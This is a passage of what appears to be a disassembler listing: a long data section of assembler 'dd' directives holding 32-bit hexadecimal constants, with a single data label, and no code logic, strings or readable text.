0EC1C2C5Ch, 3E346084h, 44B96DF9h, 0A69CFE00h dd 19FA0B28h, 9131446h, 0DE218004h, 0ADBEA694h, 921E0109h dd 2A0C9F0Ah, 6C9C64D0h, 7F84FC4Ch, 0C489B70Bh, 9AB024CFh dd 0F8348C81h, 8730F087h, 0D1D434CEh, 10F99ED4h, 921CA98Bh dd 1BE7704h, 6A81A655h, 41F326D2h, 0C82EAC8h, 0EF790439h dd 311A40D0h, 0BF029E72h, 0D4CCE840h, 780F2500h, 19E07655h dd 279A289Dh, 0A0B65CACh, 36DC3580h, 50998DBFh, 0D3CEFC80h dd 92DD30FBh, 0C4920EE0h, 8895CC3Bh, 9E04300h, 2EAD9CC3h dd 4E0C24E9h, 80D81B24h, 0D8394C8Ah, 38CE3680h, 2C0EB7h dd 190A35FBh, 5DEE621Ch, 0F089A201h, 0F73E29BDh, 892C858h dd 0EA0B32A6h, 0DC3E71CEh, 98F66707h, 0B9D1108Ah, 0EC24E06Fh dd 9B821C0Eh, 890181B6h, 519480D0h, 14099586h, 0D8BE1C5Dh dd 0F62304D4h, 0FDA69300h, 8545920Ah, 67EBCF80h, 7772EE3Bh dd 0DB109DCh, 0E4175601h, 7C803211h, 0C83F0C71h, 0AD702F01h dd 8BDA2DA8h, 13D00820h, 2130BF13h, 0CB3C63Ch, 3CAB0508h dd 0CB75CEA3h, 0F3E70E24h, 7F73E0AAh, 2471A6Bh, 7512F7DBh dd 2C4C3691h, 5AF67D00h, 17F03718h, 0B46B03BCh, 40BFC83Bh dd 60F2E9A0h, 19022779h, 69DB331Dh, 5B94600Ch, 98FD64D7h dd 487866C5h, 0E44D1843h, 0E490D688h, 68790B07h, 178742CDh dd 933F58E0h, 5EE9F20h, 3C145C4Eh, 0C8488D6h, 0A72E0376h dd 0F9DB0EDh, 20C8058Bh, 0B63C540h, 9B5B2AE8h, 4CCE21C4h dd 9550C181h, 2D18D5E0h, 3BC6A988h, 1A9FAC50h, 5E8980AFh dd 0D10AF68Bh, 2EA66314h, 87C0EC0h, 0E21441FCh, 506294DCh dd 4E7F2F22h, 9B013300h, 0A84184FBh, 2879FC72h, 4BCCBDEh dd 2937424Bh, 41F8C23Ah, 5E30C031h, 0F00D2AE0h, 0A82F4450h dd 0B050C900h, 678B2023h, 14EBEA93h, 0E0661DA9h, 0CEA50101h dd 0FDECC6ADh, 0C775ECBAh, 32FB7A00h, 0DC1D7F59h, 4B8FE29h dd 0BD0BD26Eh, 0DA8CD08Eh, 1761E6B3h, 0D564F6E8h, 34203425h dd 2814396h, 0D10B793Dh, 0FC443220h, 79461B00h, 34DA19F0h dd 0FB1301BCh, 871E4FA8h, 0F08ACE5Eh, 0D9467414h, 0E07CE207h dd 85B80ADCh, 0C572A130h, 10883A6Ch, 7CC1E930h, 28EDB5A2h dd 0AEF100D4h, 3062B3E2h, 0E3F217B1h, 5D9C0112h, 733FC260h dd 9B45A1A0h, 0D13BB30Ch, 17C5D83h, 9A1B78DDh, 36D0E71Fh dd 0FD5104A1h, 0C86ACD0Bh, 4115C5D4h, 0F83A43h, 9CB12AF8h dd 3B8A627Dh, 95004C74h, 0A67A4A7Bh, 280019D4h, 8699EE44h dd 7758BB0Bh, 14DE00B2h, 0CDA388D8h, 209A8F24h, 60D65B18h dd 5DE45188h, 7013CC79h, 0DB74208Eh, 733E723Eh, 13CD8076h dd 0E68BFBDCh, 632A00C8h, 7C66B30Eh, 0FA6FE1ADh, 102B80A8h dd 30182FEDh, 0DE49946Eh, 500F9B5h, 0DCFCF391h, 52D061Bh dd 4CE5BAD1h, 0B904C0C0h, 8B7C1731h, 3F3CA890h, 0A891B0B3h dd 0B25DF9h, 78CFF14Ch, 4363CD08h, 960FC017h, 9585D804h dd 26B38702h, 6631E8A0h, 7B005C17h, 7408FBF9h, 4CC32F0h dd 8594BFC6h, 0C8388BC3h, 1C6AC0DCh, 6003C19Bh, 1BB293D4h dd 34828459h, 0E1F82023h, 3F00E69Ah, 17A97FD9h, 904ACC29h dd 0F01525E0h, 0D7911017h, 7A309980h, 514B8C49h, 64E03841h dd 64643C26h, 3A1C2656h, 53BD8678h, 909182Eh, 4315489Fh dd 0BB40A9D0h, 204F8h, 8BFACE9h, 0D4A237B7h, 7593260Ah dd 0CE0064B6h, 70A36FA7h, 1D420049h, 644EFE99h, 0C4B8F218h dd 0C0BF2128h, 0A384B096h, 9CA099B5h, 1E1D01D9h, 890F4EECh dd 52082E7h, 5FEB5B3h, 0F2E482F9h, 0F867DF30h, 0EF70Ah dd 0CDA697D3h, 385D6FBh, 0BC59C020h, 7816FC1Ch, 882287A1h dd 5D0C48CDh, 0F7B2202Ch, 49887030h, 771311h, 0AC1E87EAh dd 28BB35F6h, 0DA51CF00h, 2F9BC86Ah, 0E8A649E4h, 1308F603h dd 11011882h, 44F35CFBh, 8722A10h, 4232F9F2h, 0A5E20073h dd 15E0E39h, 3A98E3D8h, 0A03E2194h, 0BC20D828h, 0C8690331h dd 32E52FECh, 0E8BC8148h, 9E4372h, 5562E231h, 9DF6073h dd 8C95AE96h, 0BB8B98A0h, 509857B5h, 3F59DE16h, 51323C60h dd 0FDE01098h, 214CCCEFh, 511B0026h, 0C4481266h, 92F886A8h dd 4F13AEE2h, 9CD03A13h, 0F3CE91h, 842F0EB5h, 0F4FA993h dd 450C1C91h, 0EA0A5164h, 2B20515h, 5FDC5EEBh, 949028E4h dd 0DD5B80E0h, 54FD329Eh, 0B8F5F22Ch, 0A0518309h, 71203AB0h dd 0F63D395Dh, 39F90C04h, 1D80B2EEh, 4E8341B7h, 90F78F29h dd 777DF631h, 24E5007Ah, 0A1D05F03h, 0EA09860Bh, 254DC81h dd 729466A8h, 2FB62238h, 0A46E4500h, 8FE80FAFh, 74680212h dd 0F0BDB9F2h, 0D15F9441h, 0E898A69Bh, 3570AC21h, 96128658h dd 8CD26DF1h, 77EF8269h, 9851CBh, 0D3605C13h, 0C20773FCh dd 2C5648E3h, 728CFA41h, 7294C0C0h, 4CB95C38h, 0C2F96403h dd 90234D9Dh, 50BE0143h, 28DDE1C4h, 0C722B044h, 69D0050h dd 0BE7FF84Ah, 345C0F1Dh, 0CD7B09ACh, 27A44026h, 1718B6A3h dd 9B80528Bh, 0F996C0A0h, 1F974E7Eh, 6EBDA33Bh, 88F881FCh dd 31873A64h, 34FC6020h, 0CC7B2499h, 6E1DF660h, 2CFF290Eh dd 58001E26h, 0EA73A1EEh, 43951AA5h, 1040719Bh, 0F1000B7Fh dd 766104FDh, 66D7A28Bh, 5991E188h, 0AB429A12h, 0B0088CC4h dd 50BFC040h, 0E546E1DFh, 23783122h, 0DFB45000h, 84BEE79h dd 9F161751h, 0DD8C021Bh, 0A85854A4h, 0C01C2CA0h, 0D52BCD14h dd 0E7A900BCh, 0C79B55EDh, 338E02BFh, 0DDB2F669h, 131E74C0h dd 9D0FE4B8h, 2AD18C0h, 50E9AF09h, 0A0FF54ECh, 95048CF8h dd 0E20B33A6h, 0D1800867h, 0AAD9A68Dh, 84922Ah, 0BEA801DCh dd 492174D2h, 18F00E00h, 58802D86h, 0EA5C1793h, 8BD020EBh dd 5912767Fh, 5CC9BE85h, 0D5ACF43Ch, 0DF2008Ch, 446C84B1h dd 0DE4B8CE0h, 2CA9E806h, 0CA0F0349h, 49C6A3F8h, 3FA70980h dd 0A848A24Fh, 5133C00Ch, 521E093h, 3A3091F0h, 9A5180A7h dd 0CBFCD2DCh, 5CC600C3h, 9C0C825Eh, 750466A5h, 376C598Fh dd 0B26918C0h, 0E5AE1DABh, 13A8AE3Ah, 8894CBE3h, 3087C145h dd 80B448B4h, 3FC09F03h, 83B2EBF4h, 5FB9888Fh, 508D07B8h dd 5AE20568h, 3A90359Ch, 1FB23BCh, 0D53B69F5h, 10842832h dd 0CC2DFE39h, 0E9E12C9Bh, 35C90004h, 0C38C07A1h, 4B392090h dd 0B7090890h, 642D712Ch, 82DE798Bh, 4F601E8h, 0E154F2E3h dd 770C9B44h, 0BA8C520Ah, 0CA6DC62h, 40719119h, 17D9D020h dd 85E7F6B0h, 0C8B48B20h, 80B8C5D9h, 3FCCB6E1h, 7E511802h dd 0F3D442C6h, 0B7DFD898h, 8707428Dh, 0D4222931h, 3E3006F2h dd 4BF717Bh, 0E81FC7C5h, 0F30C825Bh, 1167DE30h, 88CA0ABEh dd 96D080F8h, 0D44883A6h, 0B8A2900h, 8EC231Ch, 0DF400C7Eh dd 46C828D3h, 59617C02h, 48364299h, 0BA8B9Ch, 41E00E9Dh dd 0D68D9A30h, 88BD8100h, 3FA1F76Dh, 0A89F0707h, 0F99BE52Ah dd 793A9030h, 0C8D0F011h, 186C2296h, 1249A040h, 61345907h dd 4159E730h, 442AD488h, 8F981D60h, 0C03588F8h, 8771092Fh dd 8E0184A8h, 4E3A8B00h dd 667B7378h, 23520464h, 0C118C317h, 0D955FDD4h, 8420E513h dd 56104310h, 0E1E04CA9h, 500CF2Ah, 0F6CA3717h, 0C72EF0h dd 0D02B26EAh, 0E0EDF4DDh, 9B847E03h, 0F8D1F6EEh, 713EAE8h dd 0FCD98D20h, 1002702Dh, 609DB37h, 65C43E56h, 60D3C46Ch dd 884D3Fh, 0D7454C46h, 0DD8036CFh, 0AF8D0F0Ch, 51BEB1E8h dd 0A80EFC94h, 80CE2F88h, 0EA579CDAh, 4D67FADh, 3D46BFC8h dd 88AC8AB9h, 525A6431h, 64ECE81Ch, 0E12398A8h, 7F10028Ch dd 0C8624544h, 9404B400h, 20A75DF6h, 0C089DE08h, 84E07561h dd 88292E31h, 0EC637E07h, 0FE3032A2h, 0A7B30F4Ch, 9C8CE467h dd 64B6C7E8h, 0D64100DCh, 591FD305h, 1EE8031Dh, 30B5684Ch dd 0DF1629CCh, 1A8100ECh, 6F404B94h, 0CF0065FBh, 8F31F9Eh dd 688801h, 11EBF00Ch, 0EA798AA0h, 0F4C478BCh, 0BF67C160h dd 4CC20A29h, 0A699D540h, 14B4E8E5h, 0ADFBEF7Eh, 60983D2Fh dd 1E096F69h, 65E2785Dh, 9C08CE60h, 0F494760h, 0D34D02E5h dd 19BC2142h, 8C9080D8h, 48033A00h, 0C102EEF7h, 0B5560BF4h dd 7440ACCBh, 0E3E04573h, 9000C8E6h, 2C4B7BDh, 183C111Bh dd 0C98D7043h, 0FC00A1C2h, 0DBC34DDh, 7B47AC76h, 0C6F700D3h dd 0FD08D72Ch, 0F00E1C69h, 806A687Fh, 8148F1B2h, 0F46F481Eh dd 6B44F380h, 11483059h, 7BD00BC4h, 3F58E046h, 20109878h dd 0A50B1B6Bh, 0A96505E5h, 91801710h, 4FA08073h, 6EAE4E5h dd 0E22FCABFh, 0FB014112h, 1EBE4908h, 0C0386897h, 64C17062h dd 0D55BEA00h, 37DC12E1h, 0DF7C0FB5h, 0A00490A4h, 69257A34h dd 70CCA042h, 29ED9B06h, 78E0D80Ch, 869E73h, 7EDE8EF8h dd 0A25ACDF5h, 2F530E6h, 24E8F997h, 0CA561601h, 0C02DC87Ch dd 0DA35050Ch, 0D0AE8F00h, 0E93A93C6h, 90454B4Bh, 34E30B2Ch dd 0B081522Eh, 74244Ch, 0D235B58h, 7C9DE8A8h, 0ABE50600h dd 1F579091h, 3FBD0007h, 2FFAEE3Dh, 3B71DB3Ch, 0C4025C79h dd 0F192CA05h, 0A3E0EBC2h, 0C60AD89Ch, 6CD5A41h, 0A93E46C0h dd 9F9B873Bh, 0F3475DB4h, 8440F24Bh, 17C30892h, 82E1DA52h dd 2456F13Ch, 18B3CBE2h, 3D08AB0Dh, 6275D6A3h, 0E600EC01h dd 97AAF4h, 0DBE93809h, 75C6D8B3h, 0C466940Fh, 1297D7h dd 0BE0FECE3h, 12A9C49h, 31465EBCh, 0A22F630Eh, 1DB87F0Ah dd 40E58599h, 97F0C88Eh, 3C028143h, 18D10A79h, 16582C5Ch dd 0DE790945h, 100273A2h, 3C52037Ch, 10BC237Fh, 60B41A88h dd 0A338AB0Ch, 9471EE25h, 0F7FB0014h, 7DAE01AAh, 0A70BB5D9h dd 0A0AFB73Fh, 509F0910h, 14D0772Ch, 0C4AA460h, 3019A726h dd 5BC2F918h, 12E81A59h, 14E2A4DFh, 84BE3F00h, 0BF1934C3h dd 647A5E02h, 0FAC7B3EEh, 3BB90180h, 935D3213h, 17D1A563h dd 803C9104h, 4144E1CBh, 0F295042Bh, 0D8AE8E84h, 0CD2DBEB0h dd 47F80F3Fh, 0EB82C00Dh, 0D0F88C1Ah, 843958FDh, 10442F4Eh dd 63C0594Eh, 96FD8BA2h, 2383BA13h, 65D1A407h, 0FBC9BDB1h dd 0EB88E422h, 0E0D69426h, 549900A6h, 0B04493B2h, 58050128h dd 0C67386EEh, 0B60080E3h, 273831BDh, 7F00965Eh, 59A15062h dd 3047DA2h, 0DFD8EF95h, 58E91F20h, 0BC783C2Fh, 0B2EE8C31h dd 43DA20Bh, 0E5903AE8h, 600464C4h, 0D8B530h, 631E6291h dd 0E64CD9A7h, 0F994DD01h, 0F0B52C4h, 4D81E84Ch, 0EC00A05Bh dd 860D2F8Bh, 0FA0116A4h, 35F80321h, 3D7C71FEh, 0DD625A01h dd 0E1DF8B9Eh, 0A22C7348h, 0AA2F30FFh, 0B906800Eh, 682A6017h dd 284DD7Ch, 0B1A70B1Eh, 9056D25Ch, 654AA500h, 48465E42h dd 662E8C1Ah, 0AB16616Ch, 5ED0242Eh, 481CAEE6h, 0FBC0B4A3h dd 702FF50Ch, 3501076Eh, 0F0B954FCh, 0F1A28DBDh, 8C380095h dd 0B843EF9Eh, 2994614h, 0D10C793Eh, 12013128h, 91C501D4h dd 513BC408h, 6C6B5C2Eh, 3BFF46DCh, 43FFEh, 0FB6D92A1h dd 7D64BD32h, 0F2BB3B4Fh, 6610994Bh, 0E657B09Ch, 2D7200E0h dd 48EA8392h, 0DCF24C08h, 0C131E225h, 4B102EC0h, 0A3EC455Dh dd 0F80A100h, 1CFEA2F5h, 6481267Bh, 4D8C8018h, 6EBF59AFh dd 2A869D00h, 0CBC1DA7Ah, 0F0DF12C5h, 4CA0F39Bh, 8C35E8B8h dd 613BC50Eh, 0D87AE09Ah, 0C2876B0h, 32A28B6Dh, 0B80D0929h dd 113B45B5h, 325BDD4h, 7CB70CF1h, 41D8719Ah, 5D26D9DBh dd 57409839h, 581B722Fh, 0D2BC7CC4h, 7EEA43h, 4E5AF5B4h dd 12FCA914h, 0CD8D6809h, 26F071B1h, 0AEC00454h, 79ACFDE5h dd 36F70E0Bh, 63D0A2D4h, 82D0A090h, 4CCA1A61h, 0DC0914BFh dd 0A0C702DEh, 0B284116Eh, 1300B3A3h, 0C49A2A16h, 0AEC0EC0h dd 0F9E0F149h, 0B4BC4A12h, 0FEC1D0F4h, 0C769018Dh, 45CB78BFh dd 6AEC535Fh, 20DD4CF8h, 130C5C1Fh, 6107728Ch, 0BE3B0163h dd 82EACE56h, 3324244Dh, 0DE003DFCh, 445DBA7Bh, 0ABD248h dd 98035F04h, 94E24F0Bh, 0FD5EF700h, 8CC92C3Eh, 0D137182Dh dd 9644B19Ch, 0ABDEF18h, 1DA13C69h, 701609A0h, 0B5FA2B1h dd 394494B8h, 7EE200C5h, 90351B03h, 95002E2Ch, 0C921B1D7h dd 2770C5Bh, 398D1A9h, 0ACC53DDAh, 465C382Ch, 0DC370006h dd 0C51E5327h, 9DD15A87h, 9C18407Ch, 0A4A86042h, 0E7033DFAh dd 0C9B98AF1h, 4C21E8AEh, 32E04AD4h, 0E04166BCh, 111824A6h dd 12277C3Eh, 0F0093998h, 91149729h, 37498106h, 6080F29Ah dd 0BC2EF74h, 0D44B396Fh, 0EB542404h, 80094ECh, 0C4CA0370h dd 2F5DEAC3h, 0AAF18098h, 8CF6A339h, 0FAD744h, 7AFDAAF8h dd 0A33B9434h, 0ECA4CD18h, 5B5D6858h, 0FDD80A5Eh, 0E28303ACh dd 4CC2D561h, 8D804856h, 0DC727EDFh, 1312008Ah, 0C7462970h dd 2498F8F0h, 30BE40B0h, 14D7FD4h, 7B127135h, 0FCAEB887h dd 0DF9089A7h, 0E1669431h, 0D076EF65h, 2C17CB2Fh, 4E80D691h dd 10098668h, 0B5DC10B5h, 0FCF1894Dh, 0CD13D3BFh, 0A4809339h dd 4B505CD5h, 0C438CBE0h, 0BC30EC01h, 0ACF2B5EEh, 8A5A8100h dd 0A5BFE6EBh, 30E8BA56h, 24A1AE8Bh, 0ADF8D48Fh, 654BD97Fh dd 2DA31442h, 29851EAh, 960ED3ADh, 0BE401454h, 1FDC334Eh dd 80A0DFB6h, 0D9E8A8F8h, 6C12CD57h, 0A0A48178h, 829D007Ah dd 987470C0h, 0F358CDBEh, 3B5C0BFDh, 6530ABE0h, 6007C42Ch dd 1272B923h, 8BEF99E6h, 0C1D8C8E4h, 70D46FFAh, 99005229h dd 0BFC69033h, 4AA70A46h, 3D80169h, 6020015Fh, 34798ECCh dd 5910F98Ah, 0EE18FBh, 9FDE0412h, 57E6D454h, 0D013C8BAh dd 48B13B0Bh, 8B34203Eh, 0D43D386Ch, 27F88004h, 239DCB74h dd 7BC50932h, 0E86F4076h, 86B2E04Eh, 9B66964h, 0B1134530h dd 36001044h, 0C89FBDC2h, 161E7B9h, 4983D3AAh, 3A2DE1BAh dd 844E52E1h, 30E0D888h, 0EDF321h, 0BEE9020Dh, 75C2BD4h dd 63BFD11Ah, 0E4F4E508h, 0A3BF6034h, 8414BE63h, 0C0C50ACAh dd 2BE1425Ch, 567F8D03h, 99A5FDCDh, 6C208A78h, 28C31D3Ah dd 10E758BCh, 7E277BD0h, 45486266h, 60D8E474h, 309CAEE6h dd 0F9BCFB9Fh, 0DC987650h, 0BC40B224h, 80884F3Ch, 6BD85E22h dd 507D0050h, 83BAF5BBh, 4030EA8h, 8F6458Dh, 80BF8B00h dd 1092398Ah, 0E3D154h, 0BA561202h, 5E6588DCh, 21A2EF18h dd 7D66BB70h, 0A8A74C75h, 0DC6C2924h, 0F0A11F1Eh, 0B7ADC883h dd 38F1C411h, 23203B3Eh, 39E000DCh, 45F23682h, 3D046149h dd 851639A4h, 734FA9EAh, 1EC37CA8h, 809DE94Bh, 0B212B9Ch dd 2D19A709h, 0E050CDD0h, 34B6B2A8h, 485D6407h, 0F109E4CDh dd 183071F0h, 21A6005Fh dword_506448 dd 53DC028Eh, 130BF74Dh, 8B3E08CCh, 0B8F09790h, 7D40646h dd 0B5E061A7h, 3411E41Dh, 6E6459Ch, 3A74B917h, 0ABAE007Eh dd 4A9DBFFAh, 4E7498D7h, 0BE0CC88Bh, 82B576F8h, 0F036A9D8h dd 4494A7E0h, 0D1A060D2h, 922003Fh, 0C5CD6963h, 935BE5AEh dd 5BC22402h, 94706896h, 724E002Ah, 90B8DB53h, 0C3020620h dd 0B9B324ACh, 0C2D4E792h, 0F3189B44h, 1048B89Dh, 2E2F9B5h dd 699F0EF8h, 30F061h, 994EFB2h, 8B2C2148h, 0A13BE200h dd 1063F672h, 32F82F4Ch, 0F03E0CC1h, 0E8B2D795h, 0EB416100h dd 0EE33183Ch, 0AAF6250Ah, 1A4F0868h, 29117100h, 224E8DEDh dd 0BE363CF1h, 8DB0079h, 0C78447FDh, 0BCA8E42Fh, 7BEAF8E9h dd 0E827ED01h, 0F015E1FDh, 0D7A1FC33h, 5C30CEAh, 8C9BB047h dd 68C4B4A8h, 37CDAB02h, 769D09F9h, 4EF741F8h, 0A8286B0Ch dd 0ADE60097h, 0D6DF96D1h, 0C9031A27h, 0C09C034Dh, 0BF0EA159h dd 2F4EA066h, 302394h, 7593E494h, 4E164861h, 0A8F37864h dd 38803F0Bh, 81A3055Dh, 9E000CFDh, 0FCC0A50Fh, 100FA45Dh dd 171508C6h, 4B3A14A0h, 30C440D9h, 9CCDA0A1h, 2DF7F8B0h dd 8CC84A28h, 24BA00F1h, 1296E074h, 0AC00378Eh, 0C099570Ch dd 25B1BFh, 6D486403h, 0AF08BDF0h, 9C4DD128h, 46D6109Ch dd 0E0612EF9h, 0C0CDCFE5h, 0A2F0A826h, 67029D24h, 2F93038Bh dd 0FC5442E3h, 0EAF48800h, 1312F700h, 0B3562272h, 0C4F0954h dd 50B1807Ah, 0A47C0B80h, 0CC5398h, 9652EA2Eh, 6EBB01ADh dd 0ED420B7h, 0E0D8D7h, 1939803Ch, 6404CD62h, 885C402h dd 0F495CBC6h, 188A4E4h, 3190B63Eh, 2FFAF8C9h, 6D2D8D09h dd 9DDC2038h, 1D4A4BEh, 4BB2ECE3h, 79DB4433h, 1E787E74h dd 0EF5EF49Ch, 0BD095218h, 0C69D1EAFh, 0DC9452ECh, 6CBE303Eh dd 0C59060DBh, 27B71EE3h, 0C6D16A00h, 906C8921h, 6061E92Fh dd 30307A54h, 35B73FEBh, 0B8382007h, 0A548084h, 1DA87AE1h dd 128D3073h, 3984327h, 0B9E64AC3h, 70EAA312h, 0EAA9CCA4h dd 0C5D9036Dh, 423BF26Eh, 0D3FEB5A8h, 0CA604605h, 9022DC58h dd 7F0E480h, 2BE4F925h, 692260A3h, 961DA0D9h, 0E5CF5635h dd 0CD43C23Dh, 0B5051E3h, 2C583F13h, 969038E9h, 3075B00Bh dd 1B430C4h, 0D9C96C9h, 2E9ADCE2h, 0E065E405h, 3297FC0Fh dd 68E466h, 62337D2Bh, 0C8141B04h, 7779100h, 547216BBh dd 0FDF2013Ch, 0CE451E0h, 0D6B022D0h, 1EA0A0E6h, 21F2E35Ch dd 5459910Fh, 0A4A69744h, 0C133E2Fh, 0C2C6F9B8h, 0D6C50D01h dd 54B34E4Ah, 674F5D0h, 0B59A35Ah, 1227F19Dh, 45E88B1Ch dd 60F9C498h, 5E19E4h, 7CB468D0h, 7108FC1Ah, 0EC48152h dd 8252220Bh, 796837D3h, 92A00FCh, 9D1B014Bh, 0C2991205h dd 0A001BAACh, 54204D17h, 7A2EC73h, 3F567330h, 93262DA8h dd 61ECAC18h, 825CBA2Fh, 967BD099h, 30B95517h, 0E86B6EE3h dd 4FD6330Eh, 5C35CAE0h, 0C104762Dh, 73485990h, 0F90B48C3h dd 7C3C6264h, 6F20052h, 9420D431h, 0EDC12E1h, 70243E3Dh dd 76D058Ch, 0ED0CD5AFh, 0C12B39C4h, 44E50860h, 5D2D582Ch dd 0FD08808Eh, 7144F5FAh, 0B3C42DB5h, 3FD5C4A0h, 6F00BEEBh dd 0AAA3B44Bh, 17C19980h, 0F2F8F207h, 806A5FACh, 59B4CA01h dd 0CE8BEA72h, 0B87ABC4Bh, 12183040h, 1F0EB7C5h, 6B16015Ch dd 2A4284B3h, 31C748D0h, 28E0D7h, 8795F6CEh, 7A377C62h dd 7F557800h, 0DA13CD1Ah, 96112793h, 0D791C417h, 5025F887h dd 0F94D97CAh, 0FD452F0Eh, 9639273Bh, 0CD6E6380h, 0B362623h dd 0D94674F0h, 682A037Ah, 5880308Eh, 0E84A5D98h, 0A9198300h dd 0A2CE6FE0h, 2AC5247Ah, 7465EDCh, 2304783Ch, 0C890ADB4h dd 0B8A2718Ch, 0A69670FCh, 0B080B40Fh, 0B7173009h, 0CFBA8AAh dd 4E1805A4h, 1E0B8492h, 0F92EBA87h, 18D8D9FCh, 5E70028h dd 0A2157C6Ah, 0D402A031h, 51888E93h, 210FE80h, 27AEDCE0h dd 29A70848h, 7844E4Dh, 226249BDh, 0E9F909C0h, 495B77CCh dd 9400F016h, 64EC47CBh, 84A8E060h, 5E25899Fh, 407125h dd 90D72923h, 585E317Ah, 404C0C07h, 1724213Ch, 2250D90Eh dd 1041A554h, 200D28Eh, 48889193h, 21167D45h, 3F8023BCh dd 0BC90E8DDh, 0E3008C3Ch, 0B1AA3736h, 17E28331h, 20B3E63Dh dd 0D78535F8h, 0AAB5F200h, 0EC7B412Dh, 2BAB00D9h, 0D433583Eh dd 0A397943Bh, 3D25B6ECh, 7C801B39h, 0E664C5E7h, 0F10EC481h dd 9DB29E8h, 647C4556h, 0C0B7602Fh, 0FB12008Fh, 7F0F27F8h dd 38B8E705h, 33CDBC0Ah, 6607CC64h, 83209E36h, 0B7D8E310h dd 4DA0548Fh, 0E16A807Ah, 7879271Fh, 0DFE7FCFDh, 0EA5BCB0h dd 0DCC8097h, 0C08268AFh, 108F1E58h, 7A016443h, 0CD71A86Fh dd 0C46C3B0Bh, 21BFC602h, 20D00FABh, 0C8692F2Eh, 0DD8CF541h dd 800246Dh, 69C83BF9h, 0E00FA8B0h, 35144F09h, 0A6751E94h dd 54E40A53h, 5E040EC4h, 5F80A7DDh, 0C3083C3Dh, 0E0BB5C72h dd 143F2270h, 38114FBDh, 64937C3Eh, 1F05E4Eh, 5EEA61F9h dd 0AC40E606h, 6801D524h, 96BFEBCEh, 0D450B263h, 5B18E5A5h dd 7B7C00F2h, 961CC2B7h, 0FD753F00h, 362DB943h, 5920C088h dd 1AFAD522h, 84206453h, 1967C49Ch, 0CD05A468h, 7CAB4001h dd 0BB6B84E2h, 73836E0h, 0FD6CA8DEh, 1045CB51h, 189C01C2h dd 0B1B0A4D9h, 5CC2EA00h, 4FC3A975h, 7DBD2DA2h, 9A84740Fh dd 564E948h, 6C3463E9h, 7F3B80EBh, 0D25970A4h, 60B22668h dd 9C518984h, 0E6F98CA0h, 2202590h, 31713C51h, 351FF718h dd 39171508h, 3307ECC8h, 0FF61987Fh, 50D4A9C1h, 0FA9928F0h dd 0C3C97503h, 88FCDD7Ch, 5FBAAE39h, 5D48C01Bh, 1FB7CF3Dh dd 0C6393Ch, 7A2A9AA3h, 9ACAB1Fh, 6F2D95BDh, 0D628B408h dd 585BE707h, 0AE00CF43h, 1F94352Bh, 25EB20A1h, 6F78BC73h dd 0A9F06C8h, 0F04FC5B7h, 35C6B90Fh, 99DAB80h, 9114978Ch dd 181E87DCh, 0C6894710h, 16D0322Ch, 34E5D748h, 748011EEh dd 0C93FF723h, 4B08AD0Bh, 0B72887BEh, 0D0213CE5h, 3C3DA58Bh dd 8225BE3Bh, 4456A0A2h, 95271879h, 803391B4h, 8053CA5Eh dd 0BB3A007Ah, 771F21DFh, 81003284h, 1AF0850Ch, 14DA701h dd 0B4F8D5F7h, 8CA89E0Eh, 20836708h, 4DF253h, 6ECC017Ch dd 0E98D88BAh, 334891F5h, 0FA4DA680h, 448C90D5h, 9D035269h dd 0DE13044Dh, 73F5C91Fh, 5D211880h, 0DC1DC1F1h, 0D74B9400h dd 73BB939h, 60B200FFh, 2147E85Bh, 0C6036E55h, 8D0CA31Ah dd 9085C819h, 0A6E307F7h, 33743D67h, 8304D6Fh, 0EF22218Bh dd 567600E3h, 0D42D78D9h, 4383E46h, 86DC1DC1h, 0C031A4DCh dd 0C9802182h, 915BE97Ah, 0E203AC2Ah, 6B459F12h, 0C08018AFh dd 0A0F92825h, 3069AB30h, 0DBDE1Eh, 656E5448h, 0D463D53Ah dd 40902050h, 0F180808Ch, 0B4A853D5h, 4D60618Fh, 8758F810h dd 2C2BDF06h, 992646h, 0A9CB1A7Fh, 0BD289C74h, 79DFB1Fh dd 9F201F18h, 79E16032h, 0A3F9225Ch, 7A41444h, 4069D845h dd 95AD836Eh, 93BC4FFDh, 67F8F303h, 0CB651100h, 0CCF17BE1h dd 0EA1519AEh, 0BD6008D4h, 0E0330021h, 0D825FDBCh, 1D491EC1h dd 1811DD27h, 0F6CA881Bh, 0E1705F1Dh, 56C0921Dh, 5CC81715h dd 16CB0097h, 0A72F7605h, 1360A1F9h, 0AA8EB1A1h, 19217CA3h dd 18202947h, 489BE004h, 0BA8053EFh, 0A63627F8h, 9419A57Bh dd 0B208559Eh, 5C2197h, 9F09F2DBh, 3E01770Bh, 0A3A15BC4h dd 7C202F89h, 8071D41Eh dd 18C63E8h, 65AB23D7h, 4052DFDAh, 63F1AFB4h, 0A83C3201h dd 0BAF5F8E2h, 8CEFAC4Ch, 0A7E03702h, 19AD2CF1h, 3FAA1063h dd 658E00E0h, 0F2443D2Bh, 931EE497h, 1299A5FCh, 13CC21A9h dd 0A76B00B4h, 2EBD2BE2h, 12244D89h, 70184D7Dh, 24DE1F29h dd 658BAA7h, 900F36C2h, 350FF146h, 3C487DE0h, 0A84E5DC4h dd 7DCE0AEh, 0B033B938h, 2592A657h, 124EF703h, 810D547Fh dd 0B4243CE9h, 239F00C2h, 0BA264AC5h, 28C1E8BEh, 3D9E7284h dd 80AD9040h, 0AA8F8868h, 0F35A110Eh, 7E0B547h, 0E3F83559h dd 0F1B7E2A0h, 0DA6A019Eh, 11B1BA4Ah, 853880E6h, 97C66CB8h dd 7FC4981Bh, 0F03E0698h, 49AE6873h, 3C988252h, 0F12B8086h dd 83AB500Bh, 0F89CA058h, 7F4514DBh, 4709901Bh, 38111597h dd 890189Ch, 0DD67C927h, 6540C5C4h, 9DBE27A3h, 0B5266207h dd 1911E06Dh, 0D4411ECBh, 0F884FF68h, 836E47h, 0C109C226h dd 6FAC0076h, 0A45B2A5h, 461FB903h, 0DF84D9EDh, 0ACCE8942h dd 30843D84h, 18D0CFh, 0D9888777h, 0FA3568A1h, 0F3D09899h dd 1406861Ah, 31C3ADF2h, 1A24640h, 67A5E3FAh, 0F60C7595h dd 0F22388h, 4C767AE3h, 45B36E0Fh, 51EFB206h, 29D108D3h dd 712C27DCh, 7E4C18F8h, 0E4190189h, 741582AFh, 0F0803465h dd 0F124E2F8h, 8F058886h, 0A4087B51h, 0F3A4C731h, 8E85D5FCh dd 9B480050h, 0C8EEA34Dh, 0DC210416h, 811CB33Dh, 4B718514h dd 843A8428h, 0C905C33h, 82009950h, 44026EE3h, 0C4211473h dd 85C529B9h, 0B598008Fh, 65A0D8C2h, 7524677Bh, 465EDC91h dd 8D47045Eh, 848828F9h, 77E51B36h, 8EE1C826h, 0F6F18C5Ch dd 0D93976h, 3854ABC4h, 247DD666h, 0EFA3EB00h, 0C31DE4CEh 